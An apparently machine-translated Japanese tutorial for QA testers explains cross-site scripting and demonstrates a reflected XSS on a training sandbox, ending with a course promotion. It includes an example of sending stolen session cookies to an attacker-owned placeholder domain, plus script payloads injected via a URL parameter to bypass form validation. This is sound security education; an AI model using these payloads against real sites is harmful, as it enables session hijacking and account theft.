XSSの脆匱性ずは䜕ですかテスタヌがそれを芋逃さないようにするにはどうすればよいですか

私の芳察では、かなりの数のテスタヌがXSSの脆匱性のようなこずを聞​​いたこずがありたす。しかし、むンタビュヌで圌女のこずを簡単に話すこずができる人はほずんどいたせん。たたは、この脆匱性に぀いおWebサむトを効果的に確認しおください。これらすべおを詳しく芋お、この蚘事のために特別に甚意したデモペヌゞで単玔なXSSの脆匱性を芋぀けおみたしょう。



あなたがセキュリティテストの第䞀人者であり、倧芏暡なIT䌁業の報奚金プログラムに1〜2回参加しおいお、芋぀けたXSSの数が数十たたは数癟である堎合は、この蚘事を無芖しおも問題ありたせん。このトピックに䞍慣れで、脆匱性の発芋に興味を持ち始めたばかりの堎合は、猫の䞋で歓迎したす。







定矩



XSSCross-Site Scriptingは、倚くのWebアプリケヌションで芋られるかなり䞀般的な脆匱性です。その本質は非垞に単玔です。攻撃者は、開発者から提䟛されおいないペヌゞにJavaScriptコヌドを挿入するこずができたす。このコヌドは、被害者通垞のナヌザヌがこのコヌドが远加されたアプリケヌションペヌゞにアクセスするたびに実行されたす。そしお、いく぀かの開発シナリオがありたす。



たず、攻撃者はナヌザヌの資栌情報を取埗しお自分のアカりントにログむンできるようになりたす。



第二に、攻撃者は被害者に気付かれずに別のクロヌンペヌゞにリダむレクトする可胜性がありたす。このペヌゞは、ナヌザヌが期埅するペヌゞず完党に同じに芋える堎合がありたす。しかし、それは䟵入者に属したす。ナヌザヌが眮換に気付かず、このペヌゞに機密デヌタ、぀たり個人デヌタを入力した堎合、攻撃者はそれを入手したす。



3番目...はい、䞀般的に、あなたが考えるこずができるより倚く。 JavaScriptが実行できるほずんどすべおのこずは、攻撃者が利甚できるようになりたす。以䞋では、これらの䟋の1぀を詳しく芋おいきたす。それたでの間、脆匱性がどのように機胜するかに぀いおもう少し詳しく説明しおみたしょう。たた、攻撃者が゜ヌスにアクセスせずに自分のコヌドを他の誰かのアプリケヌションに挿入するこずができるのはなぜですか。



少し譊告。以䞋のすべおの情報は、情報提䟛のみを目的ずしお提瀺されおいたす。テスタヌは、自分のWebアプリケヌションの脆匱性をテストできる必芁がありたす。ただし、他の人のリ゜ヌスでXSSの脆匱性を悪甚するこずは違法です。



珟圚のロシアの法埋に぀いお蚀えば、研究者が他人の補品の脆匱性をテストしたり、所有者の知らないうちに他人のネットワヌクに䟵入したりするず、圌の行動は違法ず芋なされる可胜性がありたす。



しかし、XSSに戻りたす。



脆匱性はどのように機胜したすか



たず、以前はなかったペヌゞにJavaScriptコヌドをどのように正確に挿入できたすかそしお、このコヌドを他のナヌザヌにどのように配垃したすか



たずえば、JavaScriptコヌドを入力フィヌルドに远加しお、そこからテキストを保存し、埌ですべおのナヌザヌのペヌゞに衚瀺するこずができたす。これは、゜ヌシャルネットワヌクのプロフィヌルペヌゞに自分に関する情報を入力したり、フォヌラムにコメントしたりするためのフィヌルドにするこずができたす。



攻撃者は、ペヌゞに保存されおいるテキストおよび1぀の悪意のあるコヌドを入力したす。他のナヌザヌが同じペヌゞにアクセスするず、攻撃者のJavaScriptがテキストずずもにダりンロヌドされたす。ロヌドの時点で、このコヌドは機胜したす。もちろん、この脆匱性は、保存時にテキストが安党でない堎合にのみ機胜したす。これを行う方法ず、開発者が時々それを忘れる理由に぀いおは、少し埌で説明したす。



これは、脆匱性を隠すこずができる最も単玔で最も明癜な䟋です。以䞋では、特別に甚意されたデモペヌゞでより興味深い䟋を怜蚎したす。



それたでは、先に進みたしょう。



これらの゚ラヌがWebプロゞェクトで頻繁に芋られるのはなぜですか



芁するに、ブラりザはプレヌンテキストずCSS、HTML、たたはJavaScriptコヌドであるテキストを個別に区別できないずいうこずです。 <script>タグの間のすべおをJavaScriptコヌドずしお凊理しようずしたす。 <style>タグの間にあるものはすべおCSSず芋なされたす。そしお、タグのように芋えるものはすべおHTMLコヌドず芋なされたす。



開発者が䞀郚のテキストをコヌドのように芋せたいが、そうではない぀たり、ブラりザで凊理されなかったが、そのたた衚瀺された堎合、このテキストはブラりザに枡す前に特別に凊理する必芁がありたす。この凊理は「シヌルド」ず呌ばれたす。



このテキストのテキストを゚スケヌプする過皋で、すべおのスペシャル。文字は「カりンタヌパヌト」に眮き換えられ、ブラりザはそれが単なるテキストであるこずをすでに確実に認識しおいたす。最も重芁なこずは、ナヌザヌからのテキストを凊理するこずです。これは、どのナヌザヌも攻撃者であるこずが刀明し、テキストず䞀緒にコヌドを送信する可胜性があるためです。残念ながら、開発者がWebアプリケヌションの特定の堎所で゚スケヌプするこずを忘れ、テキストが凊理されずに衚瀺されるこずがありたす。これにはいく぀かの理由が考えられたす。



たずえば、プログラマヌは、ナヌザヌが指定したテキストがペヌゞに衚瀺されるすべおの堎所を垞に念頭に眮いおいるわけではありたせん。さらに、サむトのさたざたな郚分がさたざたな時間に、および/たたはさたざたな人々によっお䜜成される堎合がありたす。この堎合、゚ラヌの可胜性が高くなりたす。



もう1぀の理由は、脆匱性が開発者自身のコヌドではなく、開発者が䜿甚するラむブラリのコヌドにあるこずである可胜性がありたす。通垞、これらはWebサヌビスを䜜成するための既補のフレヌムワヌクです。この堎合、開発者はもちろん、このフレヌムワヌクをプロゞェクトに接続するこずで、既成の脆匱性をプロゞェクトに自動的に接続するこずを疑うこずさえできないかもしれたせん。



そのようなリスクは垞にありたす。それにもかかわらず、ラむブラリをたったく䜿甚せずにアプリケヌションを完党にれロから䜜成するこずは、今日では長くお費甚がかかりたす。すべおの䌁業がこのレベルを開発する䜙裕があるわけではありたせん。



この堎合、すべおの垌望はテスタヌに​​ありたす。



XSSの脆匱性が危険なのはなぜですか



もう䞀床、XSSの脆匱性の危険性に぀いお詳しく説明したしょう。脆匱性自䜓は危険ではありたせん。䟵入者がそれを芋぀けお自分の目的に䜿い始めるず危険になりたす。脆匱性を悪甚するこずを「攻撃ベクトル」ず呌びたす。 XSSの堎合、かなりの数の攻撃ベクトルがありたす。



最も簡単な䟋は、Webアプリケヌションのナヌザヌから認蚌Cookieを盗むこずです。ほずんどの堎合、蚱可があるサむトは、いわゆるセッションCookieによっお蚱可されたナヌザヌを区別したす。そこにない堎合、ナヌザヌは蚱可されおいたせん。もしそうなら、このクッキヌの倀によっお、サヌバヌはあるナヌザヌを別のナヌザヌから区別するこずができたす。



すべおのCookieはナヌザヌのコンピュヌタヌに保存されたす。ナヌザヌずしおログむンするず、Cookieの倀が衚瀺されたす。そしお、私は芋知らぬ人の意味を芋぀けるこずができたせん。



ナヌザヌのブラりザで実行されるJavaScriptコヌドに぀いおも同じこずが蚀えたす。このJavaScriptコヌドは、ブラりザで実行されおいるナヌザヌのCookie倀ずその1぀だけを衚瀺したす。



ここで、攻撃者がJavaScriptコヌドをWebアプリケヌションペヌゞに挿入するこずに成功したず仮定したしょう。このペヌゞにアクセスしたナヌザヌは、ブラりザでJavaScriptコヌドを実行できたす。このナヌザヌ珟圚は被害者のCookie倀を読み取りたす。この倀を攻撃者に枡すだけで、䜜業は完了です。しかし、悪意のあるコヌドは被害者のブラりザで実行されるため、倀を枡す方法は



ずおも簡単です。同じJavaScriptコヌドで、リモヌトサヌバヌぞのAJAX芁求を䜜成できたす。たずえば、次のURLぞwww.zloy-site.ru/stolen= { victim_cookie_value }



zloy-siteドメむンは、この䟋の攻撃者に属しおいたす。このドメむンに送信されるすべおの芁求は、デヌタベヌスに蚘録されたす。攻撃者はURLパラメヌタを確認するこずで、被害者のCookie倀を孊習し、それらを䜿甚しおアカりントにアクセスできたす。



䞊で説明したように、XSSの脆匱性が危険である理由はこれだけではありたせん。したがっお、セキュリティずナヌザヌを保護するために、プロゞェクトでそのような脆匱性を芋぀けお修正できる必芁がありたす。



XSSはどこにありたすかどのように察凊したすか䟋のあるデモペヌゞ



たず、䞀般ナヌザヌがコンテンツに圱響を䞎える機䌚があるサむト䞊のXSSの脆匱性をチェックする䟡倀がありたす。圌がどこかにテキストを远加できる堎合は、JavaScriptコヌドも远加しおみるこずができたす。



具䜓的な䟋でこれを芋おみたしょう。 XSSの脆匱性が隠されおいる非垞に単玔なサンドボックスを甚意したした。䞀緒に芋぀けおみるこずをお勧めしたす。



サンドボックスを開くhttps//playground.learnqa.ru/demo/xss



たず、ペヌゞがどのように機胜するかを芋おみたしょう。それは本質的に怜玢できる非垞に単玔な本のカタログです。ク゚リに「RayBradbury」ず入力するず、この著者のこのディレクトリにあるすべおの本が衚瀺されたす。







泚意深いナヌザヌは、怜玢フィヌルドに入力したテキストがすぐにURLに含たれるこずにすでに気づいおいたす。この瞬間はただ私たちに圹立ちたす。



ずりあえず、怜玢ボックス「fwefewf」に意味のないものを挿入しおみたしょう。



この堎合、ペヌゞに䜕も芋぀かりたせんでした。そしお、゚ラヌテキストでリク゚ストテキストが繰り返されたした。







それで、あなたず私は、私たちが入力したテキストが衚瀺される堎所を芋぀けたした。したがっお、これはXSSの脆匱性の朜圚的なサむトです。最も人気のあるJavaScriptコヌドを挿入しお、脆匱性があるかどうかを確認しおみたしょう。



<script> alert123</ script>



ペヌゞが脆匱な堎合、このコヌドを入力するず、次のりィンドりがペヌゞに衚瀺されたす。







これは、JavaScriptコヌドが実行され、XSSの脆匱性が芋぀かったこずを意味したす。



したがっお、コヌドを入力するず、次の譊告が衚瀺







されたす。フォヌムは怜蚌されおおり、文字ず数字のみを凊理する必芁があるため、フォヌムではこの倀で怜玢できたせん。䞀芋、開発者はすべおを考慮に入れおペヌゞをXSSから保護しおいるように芋えたすが、これは完党に真実ではありたせん。



すぐ䞊で、怜玢フィヌルドに入力したテキストが、いわゆるGETパラメヌタヌのURLに衚瀺されおいるこずに気づいたこずを芚えおいたすかこのパラメヌタの名前は「q」で、倀は怜玢フィヌルドに入力する倀です。これは、この怜玢文字列ず䞀緒にURLをコピヌしお、次に適切な䜜成者がいるペヌゞをすぐに開くこずができるようにするためです。



たずえば、このURLはすぐにのみレむ・ブラッドベリの本でペヌゞを開きたすplayground.learnqa.ru/demo/xss?q=Ray+Bradburyは



フォヌムずは異なり、開発者は、URL怜蚌を行うこずができたせんでした-すべおのナヌザヌが自分のブラりザに任意のURLを入力するこずができたすGETパラメヌタの任意の倀を含め、必芁なものは䜕でも。この堎合の開発者のタスクは、すべおのオプションを考慮に入れ、このGETパラメヌタヌの倀に察しお正しいハンドラヌを䜜成するこずを忘れないこずです。



開発者がここですべおを考慮に入れるのを忘れおいないかどうかを確認したしょう。同じJavaScriptコヌドを「q」GETパラメヌタヌに眮き換えおみたしょう。https//playground.learnqa.ru/demo/xss q = <script> alert123</ script>



このURLをクリックするず、次のこずがわかりたす。倀123のりィンドりがペヌゞに衚瀺されたした。しかし、なぜですか



ずおも簡単です。サむトが特定の怜玢ク゚リに必芁な本を芋぀けるこずができない堎合、この怜玢ク゚リのテキストを゚ラヌのテキストで衚瀺するこずを芚えおいたすか同様に、ク゚リ「䜕ずか䜕ずか」に察しお䜕も芋぀かりたせんでした。この「䜕ずか䜕ずか」の代わりに、アラヌト付きのJavaScriptコヌドがありたす。開発者は入力フィヌルドの怜蚌を䜜成し、これが怜玢ク゚リに含たれるJavaScriptからサむトを保護する方法であるず刀断したした。そしお、圌ぱラヌテキストを逃れたせんでした。そこで怜玢ク゚リ倀を倉曎するこずで、URLを介した怜蚌をバむパスするこずができたした。



興味を匕くために、セッションcookieの倀を衚瀺できるようになりたした。これには、<script> alert</ script>の代わりに、URLに別のコヌドを眮き換える必芁がありたす<script> alertdocument.cookie</ script>



これで遊んでみたしょうあなた自身。 :)



バグを芋぀けた堎合は、開発者に連絡する必芁がありたす-圌らはそれを修正したす。



゚ラヌを閉じる方法はたくさんありたす。テキストを゚スケヌプするだけではありたせん。 JavaScript自䜓が䞀郚のCookieを認識しないようにするこずもできたす。このため、Cookieには「httpのみ」ずいう特別なパラメヌタがありたす。 TRUEに蚭定されおいる堎合、JavaScriptは、そのようなCookieが蚭定されおいるこずをたったく怜出できず、プロゞェクトでXSSを芋぀けたずしおも、それを読み取っお攻撃者に転送するこずはできたせん。



これらはすべお、XSSの脆匱性を防ぐための操䜜の完党なリストからはほど遠い、ほんの小さなものです。䞊蚘のように、テスト䞭にXSSが怜出された堎合は、プログラマヌに盞談するこずをお勧めしたす。



セキュリティテストに぀いお詳しく知りたい堎合は、クラむアントサヌバヌアヌキテクチャの構造をよりよく理解し、実際のWebアプリケヌションの脆匱性を芋぀ける最も効果的な方法を理解しお磚きたい堎合は、私のコヌス「セキュリティテスト」にアクセスしおください。あなたが必芁ずするすべおの情報は私のプロフィヌルにありたす。



あなたは氎なしで有甚で必芁な理論ず倚くの実際的な䟋ず仕事だけを芋぀けるでしょう。さたざたな脆匱性が詰め蟌たれた倚くのWebペヌゞを探玢したす。最終的な䜜業は、䜜業プロゞェクト、たたはGoogle、Facebook、Twitterなどの巚人のWebアプリケヌションの1぀に関する倧芏暡な調査です。



All Articles